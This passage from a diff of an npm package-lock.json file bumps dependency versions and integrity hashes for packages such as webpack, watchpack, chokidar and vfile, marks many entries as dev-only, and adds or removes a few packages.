"dev": true }, + "utf8": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/utf8/-/utf8-3.0.0.tgz", + "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==", + "dev": true + }, "util": { "version": "0.11.1", "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz", @@ -17588,7 +21961,8 @@ "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true }, "util.promisify": { "version": "1.0.0", @@ -17615,7 +21989,8 @@ "uuid": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==", + "dev": true }, "v8-compile-cache": { "version": "2.1.0", @@ -17656,32 +22031,25 @@ } }, "vfile": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.1.0.tgz", - "integrity": "sha512-BaTPalregj++64xbGK6uIlsurN3BCRNM/P2Pg8HezlGzKd1O9PrwIac6bd9Pdx2uTb0QHoioZ+rXKolbVXEgJg==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", + "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==", "dev": true, "requires": { "@types/unist": "^2.0.0", "is-buffer": "^2.0.0", - "replace-ext": "1.0.0", "unist-util-stringify-position": "^2.0.0", "vfile-message": "^2.0.0" }, "dependencies": { "is-buffer": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.4.tgz", - "integrity": "sha512-Kq1rokWXOPXWuaMAqZiJW4XxsmD9zGx9q4aePabbn3qCRGedtH7Cm+zV8WETitMfu1wdh+Rvd6w5egwSngUX2A==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", "dev": true } } }, - "vfile-location": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-3.0.1.tgz", - "integrity": "sha512-yYBO06eeN/Ki6Kh1QAkgzYpWT1d3Qln+ZCtSbJqFExPl1S3y2qqotJQXoh6qEvl/jDlgpUJolBn3PItVnnZRqQ==", - "dev": true - }, "vfile-message": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz", @@ -17739,9 +22107,10 @@ "dev": true }, "vscode-languageserver-types": { - "version": "3.15.1", - "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.15.1.tgz", - "integrity": "sha512-+a9MPUQrNGRrGU630OGbYVQ+11iOIovjCkqxajPa9w57Sd5ruK8WQNsslzpa0x/QJqC8kRc2DUxWjIFwoNm4ZQ==" + "version": "3.16.0", + "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.16.0.tgz", + "integrity": "sha512-k8luDIWJWyenLc5ToFQQMaSrqCHiLwyKPHKPQZ5zz21vM+vIVUSvsRpcbiECH4WR88K2XZqc4ScRcZ7nk/jbeA==", + "dev": true }, "warning": { "version": "4.0.3", @@ -17752,14 +22121,136 @@ } }, "watchpack": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.1.tgz", - "integrity": "sha512-+IF9hfUFOrYOOaKyfaI7h7dquUIOgyEMoQMLA7OP5FxegKA2+XdXThAZ9TU2kucfhDH7rfMHs1oPYziVGWRnZA==", + "version": "1.7.5", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.5.tgz", + "integrity": "sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==", "dev": true, "requires": { - "chokidar": "^2.1.8", + "chokidar": "^3.4.1", "graceful-fs": "^4.1.2", - "neo-async": "^2.5.0" + "neo-async": "^2.5.0", + "watchpack-chokidar2": "^2.0.1" + }, + "dependencies": { + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "optional": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "optional": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "optional": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", + "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.3.1", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.5.0" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "optional": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "optional": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "optional": true + }, + "readdirp": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", + "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", + "dev": true, + "optional": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "optional": true, + "requires": { + "is-number": "^7.0.0" + } + } + } + }, + "watchpack-chokidar2": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz", + "integrity": "sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==", + "dev": true, + "optional": true, + "requires": { + "chokidar": "^2.1.8" } }, "wbuf": { @@ -17771,10 +22262,19 @@ "minimalistic-assert": "^1.0.0" } }, + "wcwidth": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz", + "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=", + "dev": true, + "requires": { + "defaults": "^1.0.3" + } + }, "webpack": { - "version": "4.43.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.43.0.tgz", - "integrity": "sha512-GW1LjnPipFW2Y78OOab8NJlCflB7EFskMih2AHdvjbpKMeDJqEgSx24cXXXiPS65+WSwVyxtDsJH6jGX2czy+g==", + "version": "4.46.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.46.0.tgz", + "integrity": "sha512-6jJuJjg8znb/xRItk7bkT0+Q7AHCYjjFnvKIWQPkNIOyRqoCGvkOs0ipeQzrqz4l5FtN5ZI/ukEHroeX/o1/5Q==", "dev": true, "requires": { "@webassemblyjs/ast": "1.9.0", @@ -17785,7 +22285,7 @@ "ajv": "^6.10.2", "ajv-keywords": "^3.4.1", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^4.1.0", + "enhanced-resolve": "^4.5.0", "eslint-scope": "^4.0.3", "json-parse-better-errors": "^1.0.2", "loader-runner": "^2.4.0", @@ -17798,14 +22298,14 @@ "schema-utils": "^1.0.0", "tapable": "^1.1.3", "terser-webpack-plugin": "^1.4.3", - "watchpack": "^1.6.1", + "watchpack": "^1.7.4", "webpack-sources": "^1.4.1" }, "dependencies": { "acorn": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", - "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz", + "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==", "dev": true }, "eslint-scope": { @@ -17832,30 +22332,24 @@ } }, "webpack-cli": { - "version": "3.3.11", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.11.tgz", - "integrity": "sha512-dXlfuml7xvAFwYUPsrtQAA9e4DOe58gnzSxhgrO/ZM/gyXTBowrsYeubyN4mqGhYdpXMFNyQ6emjJS9M7OBd4g==", - "dev": true, - "requires": { - "chalk": "2.4.2", - "cross-spawn": "6.0.5", - "enhanced-resolve": "4.1.0", - "findup-sync": "3.0.0", - "global-modules": "2.0.0", - "import-local": "2.0.0", - "interpret": "1.2.0", - "loader-utils": "1.2.3", - "supports-color": "6.1.0", - "v8-compile-cache": "2.0.3", - "yargs": "13.2.4" + "version": "3.3.12", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.12.tgz", + "integrity": "sha512-NVWBaz9k839ZH/sinurM+HcDvJOTXwSjYp1ku+5XKeOC03z8v5QitnK/x+lAxGXFyhdayoIf/GOpv85z3/xPag==", + "dev": true, + "requires": { + "chalk": "^2.4.2", + "cross-spawn": "^6.0.5", + "enhanced-resolve": "^4.1.1", + "findup-sync": "^3.0.0", + "global-modules": "^2.0.0", + "import-local": "^2.0.0", + "interpret": "^1.4.0", + "loader-utils": "^1.4.0", + "supports-color": "^6.1.0", + "v8-compile-cache": "^2.1.1", + "yargs": "^13.3.2" }, "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, "cross-spawn": { "version": "6.0.5", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", @@ -17869,69 +22363,6 @@ "which": "^1.2.9" } }, - "emojis-list": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", - "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", - "dev": true - }, - "enhanced-resolve": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.0.tgz", - "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "memory-fs": "^0.4.0", - "tapable": "^1.0.0" - } - }, - "find-up": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", - "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "loader-utils": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", - "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", - "dev": true, - "requires": { - "big.js": "^5.2.2", - "emojis-list": "^2.0.0", - "json5": "^1.0.1" - } - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - }, "supports-color": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz", @@ -17942,29 +22373,10 @@ } }, "v8-compile-cache": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.3.tgz", - "integrity": "sha512-CNmdbwQMBjwr9Gsmohvm0pbL954tJrNzf6gWL3K+QMQf00PF7ERGrEiLgjuU3mKreLC2MeGhUsNV9ybTbLgd3w==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", "dev": true - }, - "yargs": { - "version": "13.2.4", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.2.4.tgz", - "integrity": "sha512-HG/DWAJa1PAnHT9JAhNa8AbAv3FPaiLzioSjCcmuXXhP8MlpHO5vwls4g4j6n30Z74GVQj8Xa62dWVx1QCGklg==", - "dev": true, - "requires": { - "cliui": "^5.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^2.0.1", - "os-locale": "^3.1.0", - "require-directory": "^2.1.1", - "require-main-filename": "^2.0.0", - "set-blocking": "^2.0.0", - "string-width": "^3.0.0", - "which-module": "^2.0.0", - "y18n": "^4.0.0", - "yargs-parser": "^13.1.0" - } } } }, @@ -18113,14 +22525,33 @@ "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz", "integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q==" }, + "whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + }, "which": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, "requires": { "isexe": "^2.0.0" } }, + "which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "requires": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + } + }, "which-module": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", @@ -18140,6 +22571,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz", "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==", + "dev": true, "requires": { "string-width": "^4.0.0" }, @@ -18147,22 +22579,26 @@ "ansi-regex": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==" + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true }, "emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true }, "is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true }, "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, "requires": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", @@ -18173,21 +22609,18 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, "requires": { "ansi-regex": "^5.0.0" } } } }, - "window-size": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.4.tgz", - "integrity": "sha1-+OGqHuWlPsW/FR/6CXQqatdpeHY=" - }, "windows-release": { "version": "3.3.3", "resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.3.tgz", "integrity": "sha512-OSOGH1QYiW5yVor9TtmXKQvt2vjQqbYS+DqmsZw+r7xDwLXEeT3JGW0ZppFmHx4diyXmxt238KFR3N9jzevBRg==", + "dev": true, "requires": { "execa": "^1.0.0" } @@ -18195,7 +22628,8 @@ "word-wrap": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==" + "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "dev": true }, "worker-farm": { "version": "1.7.0", @@ -18210,6 +22644,7 @@ "version": "5.1.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", + "dev": true, "requires": { "ansi-styles": "^3.2.0", "string-width": "^3.0.0", @@ -18219,17 +22654,20 @@ "ansi-regex": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true }, "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true }, "string-width": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", + "dev": true, "requires": { "emoji-regex": "^7.0.1", "is-fullwidth-code-point": "^2.0.0", @@ -18240,6 +22678,7 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, "requires": { "ansi-regex": "^4.1.0" } @@ -18249,7 +22688,8 @@ "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true }, "write": { "version": "1.0.3", @@ -18264,6 +22704,7 @@ "version": "3.0.3", "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dev": true, "requires": { "imurmurhash": "^0.1.4", "is-typedarray": "^1.0.0", @@ -18283,12 +22724,23 @@ "xdg-basedir": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz", - "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==" + "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==", + "dev": true + }, + "xml-js": { + "version": "1.6.11", + "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", + "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==", + "dev": true, + "requires": { + "sax": "^1.2.4" + } }, "xml2js": { "version": "0.4.23", "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.4.23.tgz", "integrity": "sha512-ySPiMjM0+pLDftHgXY4By0uswI3SPKLDw/i3UXbnO8M/p28zqexCUoPmQFrYD+/1BzhGJSs2i1ERWKJAtiLrug==", + "dev": true, "requires": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" @@ -18297,21 +22749,14 @@ "xmlbuilder": { "version": "11.0.1", "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", - "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==" - }, - "xregexp": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.3.0.tgz", - "integrity": "sha512-7jXDIFXh5yJ/orPn4SXjuVrWWoi4Cr8jfV1eHv9CixKSbU+jY4mxfrBwAuDvupPNKpMUY+FeIqsVw/JLT9+B8g==", - "dev": true, - "requires": { - "@babel/runtime-corejs3": "^7.8.3" - } + "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", + "dev": true }, "xtend": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", - "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true }, "y18n": { "version": "4.0.0", @@ -18322,15 +22767,13 @@ "yallist": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", + "dev": true }, "yaml": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.9.2.tgz", - "integrity": 